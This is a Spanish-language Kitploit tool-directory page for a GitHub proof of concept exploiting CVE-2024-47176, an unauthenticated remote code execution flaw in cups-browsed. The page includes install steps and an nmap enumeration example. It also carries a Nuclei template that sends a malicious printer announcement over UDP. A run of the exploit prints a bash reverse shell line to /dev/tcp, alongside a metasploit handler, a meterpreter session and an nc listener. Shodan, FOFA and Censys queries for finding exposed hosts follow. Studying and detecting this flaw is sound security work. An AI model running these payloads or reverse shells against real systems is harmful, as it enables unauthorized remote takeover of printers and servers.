Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-47176 — RCE no autenticado en cups-browsed (exploit y plantilla de nuclei) | Kitploit
Herramientas/GitHubGitHub/l0n3m4n/cve-2024-47176
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebCTFPruebas de PenetraciónRed Teaming
GitHubl0n3m4n/cve-2024-47176

CVE-2024-47176

RCE no autenticado en cups-browsed (exploit y plantilla de nuclei)

Ver Repositorio
171hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

PoC: RCE no autenticado en cups-browsed

Facebook X Medium Python Kali

📜 Información de la vulnerabilidad

  • Publicado: 2024-09-26
  • Puntuación base: 5.3 (MEDIO)
  • Puntuación EPSS: 0.06% Probabilidad de explotación.
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
  • Descripción: CUPS es un sistema de impresión de código abierto basado en estándares, y cups-browsed contiene funcionalidad de impresión en red que incluye, entre otras, la detección automática de servicios de impresión e impresoras compartidas. cups-browsed se vincula a INADDR_ANY:631, lo que hace que confíe en cualquier paquete de cualquier origen, y puede provocar que la solicitud IPP Get-Printer-Attributes se envíe a una URL controlada por el atacante. Cuando se combina con otras vulnerabilidades, como CVE-2024-47076, CVE-2024-47175 y CVE-2024-47177, un atacante puede ejecutar comandos arbitrarios de forma remota en la máquina objetivo sin autenticación cuando se imprime en una impresora maliciosa.

📚 Tabla de contenidos

  • 📜 Información
  • 🛠️ Instalación
  • ⚙️ Uso
  • 🔎 Descubrimiento
  • 💁 Referencias
  • 📢 Aviso legal

🛠️ Instalación

root@kitploit:~
$ python3 -m venv venv && source venv/bin/activate
$ pip install zeroconf ippserver colorama
$ python3 CVE-2024-47176.py -h

💡 Los sistemas potencialmente vulnerables deben cumplir todas las siguientes condiciones:

  • Distribuciones GNU/Linux afectadas
  • El paquete cups-browsed (versión 2.0.1 o inferior) debe estar instalado en la máquina objetivo
  • El servicio cups-browsed debe estar iniciado/habilitado y escuchando en el puerto UDP 631
  • El servidor debe ser accesible para el atacante (ya sea expuesto a Internet públicamente o el atacante tiene acceso local a la red)
  • Para explotar esta cadena de vulnerabilidades, el atacante debe engañar al usuario para que imprima desde un servidor de impresora malicioso que haya sido creado por el atacante.

Enumeración con Nmap

root@kitploit:~
$ sudo nmap -sV -p 631 --script=cups-info -Pn 192.168.1.100
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-03 15:45 PST
Nmap scan report for 192.168.1.100
Host is up (0.12s latency).

PORT    STATE SERVICE VERSION
631/tcp open  ipp     CUPS 2.0
|_http-server-header: CUPS/2.0 IPP/2.1
| cups-info: 
|   ads
|     DNS-SD Name: 
|     Location: epower
|     Model: Local Raw Printer
|     State: Idle
|_    Queue: 0 print jobs

Plantilla de Nuclei

CVE-2024-47176.yml

root@kitploit:~
id: CVE-2024-47176

info:
  name: CUPS - Remote Code Execution
  author: princechaddha
  severity: high
  description: |
    CUPS is a standards-based, open-source printing system, and cups-browsed contains network printing functionality including, but not limited to, auto-discovering print services and shared printers. cups-browsed binds to INADDR_ANY-631, causing it to trust any packet from any source, and can cause the Get-Printer-Attributes IPP request to an attacker controlled URL.
    Due to the service binding to *-631 ( INADDR_ANY ), multiple bugs in cups-browsed can be exploited in sequence to introduce a malicious printer to the system. This chain of exploits ultimately enables an attacker to execute arbitrary commands remotely on the target machine without authentication when a print job is started. This poses a significant security risk over the network. Notably, this vulnerability is particularly concerning as it can be exploited from the public internet, potentially exposing a vast number of systems to remote attacks if their CUPS services are enabled.
  impact: |
    Successful exploitation could allow an attacker to execute arbitrary code on the target system.
  remediation: |
    Apply the necessary patch or upgrade to a non-vulnerable version of CUPS.
  reference:
    - https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/
    - https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8
    - https://github.com/OpenPrinting/cups-browsed/blob/master/daemon/cups-browsed.c#L13992
    - https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-p9rh-jxmq-gq47
    - https://github.com/OpenPrinting/libcupsfilters/security/advisories/GHSA-w63j-6g73-wmg5
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
    cvss-score: 8.3
    cve-id: CVE-2024-47176
    cwe-id: CWE-1327
    epss-score: 0.00045
    epss-percentile: 0.14875
  metadata:
    verified: true
    shodan-query: "product:cups"
  tags: cve,cve2024,cups,udp,printer,oast,rce

javascript:
  - pre-condition: |
      isUDPPortOpen(Host,Port);
    code: |
      let packet = bytes.NewBuffer();
      let printer_type = "00";
      let printer_state = "03";
      let printer_uri = `http://${oast}/printers/VulnPrinter`;
      let printer_location = "Office HQ";
      let printer_info = "Vulnerable Printer";
      let message = `${printer_type} ${printer_state} ${printer_uri} "${printer_location}" "${printer_info}"`;
      packet.WriteString(message)
      let c = require("nuclei/net");
      let conn = c.Open('udp', `${Host}:${Port}`);
      conn.SendHex(packet.Hex());

    args:
      Host: "{{Host}}"
      Port: 631
      oast: "{{interactsh-url}}"

    matchers:
      - type: word
        part: interactsh_request
        words:
          - "natural-language"
          - "VulnPrinter"
        condition: and

    extractors:
      - type: regex
        group: 1
        part: interactsh_request
        regex:
          - 'User-Agent:\s?(.*)'
# digest: 4b0a00483046022100a5171b18bd80ce93e04aabb4b3b70b0131e0a961a3d07b5ba72a33a0fa6f8434022100ee5ee6b9e749abcd80184e2c8e67a76765d0bf4a6f0df976848f8949d02c96ab:922c64590222798bb761d5b6d8e72950

⚙️ Uso y Exploit

cups-help

root@kitploit:~
$ python3 CVE-2024-47176.py -l 192.168.1.50 -s "Epson EcoTank L121" -p 631 -r rev.sh -t 192.168.1.100

2024-10-03 15:45:10 - INFO - Using reverse shell from file 'rev.sh': [bash -i >& /dev/tcp/192.168.1.50/443 0>&1 or backdoor.elf]
2024-10-03 15:45:10 - INFO - Registered printer service: Epson EcoTank L121
2024-10-03 15:45:10 - INFO - [+] Starting IPP server on 192.168.1.50:631...
2024-10-03 15:45:11 - INFO - Target connected, sending payload ...
Sending udp packet to 192.168.1.100:631...
2024-10-03 15:45:12 - INFO - Shutting down server...
2024-10-03 15:45:12 - INFO - Unregistered printer service: Epson EcoTank L121
2024-10-03 15:45:12 - INFO - Server closed.


# c2 and local listener
msf6 exploit(multi/handler) > exploit
...
[*] Started reverse TCP handler on 192.168.1.100:4444
[*] Sending stage (175086 bytes) to 192.168.1.100
... 
meterpreter >

$ sudo rlwrap nc -lvnp 443
...

🔎 Descubrimiento

  • Shodan: port:631 "CUPS" or product:CUPS version:<2.0.1
  • FOFA: port=631 && protocol=ipp && product=CUPS && version<2.0.1
  • CENYS: services.service_name="IPP" AND services.port=631 AND metadata.product="CUPS" AND metadata.version<"2.0.1"

💁 Referencias

  • https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8
  • https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-p9rh-jxmq-gq47
  • https://github.com/OpenPrinting/libcupsfilters/security/advisories/GHSA-w63j-6g73-wmg5
  • https://github.com/OpenPrinting/libppd/security/advisories/GHSA-7xfx-47qg-grp6
  • https://github.com/OpenPrinting/cups-browsed/blob/master/daemon/cups-browsed.c#L13992
  • https://www.cups.org
  • https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I

📢 Aviso legal

Esta herramienta se proporciona únicamente con fines educativos y de investigación. El creador no asume ninguna responsabilidad por el mal uso o los daños causados por la herramienta. crear un issue

Descargar herramienta